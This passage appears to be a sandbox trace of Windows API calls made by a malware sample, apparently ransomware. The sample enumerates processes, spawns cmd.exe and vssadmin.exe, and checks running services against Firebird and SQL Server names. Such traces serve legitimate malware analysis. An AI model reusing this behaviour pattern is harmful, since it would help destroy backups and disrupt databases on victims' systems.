pcPriClassBase=8, dwFlags=0x0, szExeFile="hugown.exe")) returned 1 [0051.937] lstrlenW (lpString="hugown.exe") returned 10 [0051.937] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bless_gear_inquiry.exe")) returned 1 [0051.937] lstrlenW (lpString="bless_gear_inquiry.exe") returned 22 [0051.937] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ted_paragraph.exe")) returned 1 [0051.937] lstrlenW (lpString="ted_paragraph.exe") returned 17 [0051.938] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="locked welsh.exe")) returned 1 [0051.938] lstrlenW (lpString="locked welsh.exe") returned 16 [0051.938] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="votejoyceinstructors.exe")) returned 1 [0051.938] lstrlenW (lpString="votejoyceinstructors.exe") returned 24 [0051.938] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lebanon_executives.exe")) returned 1 [0051.939] lstrlenW (lpString="lebanon_executives.exe") returned 22 [0051.939] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="planners.exe")) returned 1 [0051.939] lstrlenW (lpString="planners.exe") returned 12 [0051.939] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="agreements.exe")) returned 1 [0051.940] lstrlenW (lpString="agreements.exe") returned 14 [0051.940] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tray.exe")) returned 1 [0051.940] lstrlenW (lpString="tray.exe") returned 8 [0051.940] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wp std.exe")) returned 1 [0052.321] lstrlenW (lpString="wp std.exe") returned 10 [0052.322] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lesser.exe")) returned 1 [0052.322] lstrlenW (lpString="lesser.exe") returned 10 [0052.322] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-tissue.exe")) returned 1 [0052.323] lstrlenW (lpString="right-tissue.exe") returned 16 [0052.323] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bunch.exe")) returned 1 [0052.323] lstrlenW (lpString="bunch.exe") returned 9 [0052.323] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jam.exe")) returned 1 [0052.324] lstrlenW (lpString="jam.exe") returned 7 [0052.324] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chooseincidence.exe")) returned 1 [0052.324] lstrlenW (lpString="chooseincidence.exe") returned 19 [0052.324] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="numericalrear.exe")) returned 1 [0052.325] lstrlenW (lpString="numericalrear.exe") returned 17 [0052.325] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uponpharmacologyintermediate.exe")) returned 1 [0052.325] lstrlenW (lpString="uponpharmacologyintermediate.exe") returned 32 [0052.325] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressed-plate-fbi.exe")) returned 1 [0052.326] lstrlenW (lpString="expressed-plate-fbi.exe") returned 23 [0052.326] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="come_wave.exe")) returned 1 [0052.326] lstrlenW (lpString="come_wave.exe") returned 13 [0052.326] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0052.327] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0052.327] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0052.327] lstrlenW (lpString="uyuquk.exe") returned 10 [0052.327] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x970, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0052.328] lstrlenW (lpString="cmd.exe") returned 7 [0052.328] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0052.328] lstrlenW (lpString="conhost.exe") returned 11 [0052.328] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0052.329] lstrlenW (lpString="vssadmin.exe") returned 12 [0052.329] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0052.329] lstrlenW (lpString="VSSVC.exe") returned 9 [0052.329] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.330] lstrlenW (lpString="svchost.exe") returned 11 [0052.330] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0052.330] CloseHandle (hObject=0x208) returned 1 [0052.330] Sleep (dwMilliseconds=0x1f4) [0052.956] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x566d90 [0052.957] EnumServicesStatusExW (in: hSCManager=0x566d90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 0 [0052.957] GetLastError () returned 0xea [0052.957] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12c6) returned 0x55e478 [0052.957] EnumServicesStatusExW (in: hSCManager=0x566d90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x55e478, cbBufSize=0x12c6, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x55e478, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 1 [0052.959] CloseServiceHandle (hSCObject=0x566d90) returned 1 [0052.959] lstrlenW (lpString="Appinfo") returned 7 [0052.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0052.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0052.959] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0052.959] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0052.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0052.959] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0052.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0052.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0052.959] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0052.959] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0052.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0052.959] lstrlenW (lpString="AudioSrv") returned 8 [0052.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0052.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0052.959] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0052.959] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0052.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0052.959] lstrlenW (lpString="BFE") returned 3 [0052.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0052.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0052.959] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0052.959] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0052.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0052.960] lstrlenW (lpString="CryptSvc") returned 8 [0052.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0052.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0052.960] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0052.960] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0052.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0052.960] lstrlenW (lpString="CscService") returned 10 [0052.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0052.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0052.960] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0052.960] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0052.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0052.960] lstrlenW (lpString="DcomLaunch") returned 10 [0052.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0052.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0052.960] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0052.960] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0052.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0052.960] lstrlenW (lpString="Dhcp") returned 4 [0052.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0052.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0052.960] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0052.960] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0052.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0052.960] lstrlenW (lpString="Dnscache") returned 8 [0052.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0052.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0052.960] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0052.960] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0052.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0052.960] lstrlenW (lpString="DPS") returned 3 [0052.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0052.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0052.960] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0052.960] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0052.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0052.961] lstrlenW (lpString="eventlog") returned 8 [0052.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0052.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0052.961] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0052.961] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0052.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0052.961] lstrlenW (lpString="EventSystem") returned 11 [0052.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0052.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0052.961] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0052.961] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0052.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0052.961] lstrlenW (lpString="gpsvc") returned 5 [0052.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0052.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0052.961] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0052.961] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0052.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0052.961] lstrlenW (lpString="iphlpsvc") returned 8 [0052.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0052.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0052.962] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0052.962] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0052.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0052.962] lstrlenW (lpString="LanmanServer") returned 12 [0052.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0052.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0052.962] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0052.962] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0052.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0052.962] lstrlenW (lpString="LanmanWorkstation") returned 17 [0052.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0052.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0052.962] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0052.962] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0052.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0052.962] lstrlenW (lpString="lmhosts") returned 7 [0052.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0052.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0052.962] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0052.962] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0052.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0052.963] lstrlenW (lpString="MMCSS") returned 5 [0052.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0052.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0052.963] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0052.963] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0052.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0052.963] lstrlenW (lpString="MpsSvc") returned 6 [0052.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0052.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0052.963] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0052.963] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0052.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0052.963] lstrlenW (lpString="Netman") returned 6 [0052.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0052.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0052.963] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0052.963] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0052.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0052.963] lstrlenW (lpString="netprofm") returned 8 [0052.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0052.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0052.963] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0052.963] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0052.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0052.963] lstrlenW (lpString="NlaSvc") returned 6 [0052.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0052.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0052.963] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0052.963] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0052.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0052.963] lstrlenW (lpString="nsi") returned 3 [0052.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0052.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0052.963] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0052.963] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0052.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0052.964] lstrlenW (lpString="PcaSvc") returned 6 [0052.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0052.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0052.964] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0052.964] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0052.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0052.964] lstrlenW (lpString="PlugPlay") returned 8 [0052.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0052.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0052.964] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0052.964] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0052.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0052.964] lstrlenW (lpString="Power") returned 5 [0052.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0052.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0052.964] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0052.964] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0052.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0052.964] lstrlenW (lpString="ProfSvc") returned 7 [0052.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0052.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0052.964] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0052.964] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0052.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0052.964] lstrlenW (lpString="RpcEptMapper") returned 12 [0052.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0052.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0052.964] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0052.964] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0052.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0052.964] lstrlenW (lpString="RpcSs") returned 5 [0052.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0052.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0052.964] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0052.965] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0052.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0052.965] lstrlenW (lpString="SamSs") returned 5 [0052.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0052.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0052.965] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0052.965] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0052.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0052.965] lstrlenW (lpString="Schedule") returned 8 [0052.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0052.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0052.965] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0052.965] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0052.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0052.965] lstrlenW (lpString="SENS") returned 4 [0052.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0052.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0052.965] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0052.965] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0052.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0052.965] lstrlenW (lpString="ShellHWDetection") returned 16 [0052.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0052.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0052.965] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0052.965] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0052.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0052.965] lstrlenW (lpString="Spooler") returned 7 [0052.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 